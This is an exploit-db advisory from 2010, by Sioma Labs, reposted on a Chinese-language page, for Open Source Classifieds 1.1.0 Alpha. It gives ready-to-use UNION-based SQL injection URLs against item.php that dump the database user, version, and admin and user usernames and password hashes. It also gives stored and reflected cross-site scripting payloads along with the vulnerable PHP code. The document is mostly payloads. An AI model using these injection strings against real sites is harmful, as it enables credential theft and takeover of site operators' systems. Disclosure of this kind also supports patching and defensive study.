Open Source Classifieds 1.1.0 Alpha (OSClassi) – SQL Injection / Cross-Site Scripting / Arbitrary Admin Change

• Exploit Database
• 108 阅读

• 作者： Sioma Labs
  日期： 2010-02-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11496/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69

  __ _ __ _ / _(_) ____ __ ___ __ _/ /__ _| |_____ \ \| |/ _ \| &apos;_ <code> _ \ / _</code> |/ // _` | &apos;_ \/ __| _\ \ | (_) | | | | | | (_| | / /___ (_| | |_) \__ \ \__/_|\___/|_| |_| |_|\__,_| \____/\__,_|_.__/|___/ ======================================================================================== Open Source Classifieds (OSClassi) SQLi/Xss/Arbitrary Admin Change Multi Vulnerabilities ---------------------------------------------------------------------------------------- - Site : http://osclass.org/ - Download: http://sourceforge.net/projects/osclass/files/ - Author : Sioma Labs - Version : 1.1.0 Alpha - Tested on : WIndows XP SP2 (WAMP)   [-------------------------------------------------------------------------------------------------------------------------]   MYSQL Injection =============== POC http://server/item.php?id=[SQLi]   Basic Info http://server/item.php?id=-1 UNION SELECT 1,2,3,4,5,6,concat_ws(CHAR(32,58,32),user(),database(),version())--   Admin ID,Username,Password http://server/item.php?id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(id,0x3a,username,0x3a,password)+from oc_admin--   User ID,UserName,Password http://server/item.php?id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(id,0x3a,username,0x3a,password)+from+oc_user--   [-------------------------------------------------------------------------------------------------------------------------] Cross Site Scripting ====================   Xss Source Review (item.php) ------------------------------   1st Xss item.php [+]To Work This You need to Have A iteam already posted (http://server/item.php?action=post) ------------------------------ case &apos;add_comment&apos;: dbExec("INSERT INTO %sitem_comment (item_id, author_name, author_email, body) VALUES (%d, &apos;%s&apos;, &apos;%s&apos;, &apos;%s&apos;)", DB_TABLE_PREFIX, $_POST[&apos;id&apos;], $_POST[&apos;authorName&apos;], $_POST[&apos;authorEmail&apos;], $_POST[&apos;body&apos;]); header(&apos;Location: item.php?id=&apos; . $_POST[&apos;id&apos;]); break; case &apos;post&apos;: ------------------------------   [+] Put This c0de in to the comment box "><script>alert(String.fromCharCode(88, 83, 83));</script>   -------------------------------   2nd Xss (search.php) --------------------------------- $pattern = $_GET[&apos;pattern&apos;]; --------------------------------   POC http://server/search.php?pattern=[Xss] Exploit http://server/search.php?pattern=<script>alert(String.fromCharCode(88, 83, 83));</script>   [-------------------------------------------------------------------------------------------------------------------------]   [-------------------------------------------------------------------------------------------------------------------------] # http://siomalabs.com [Sioma Labs] # Sioma Agent 154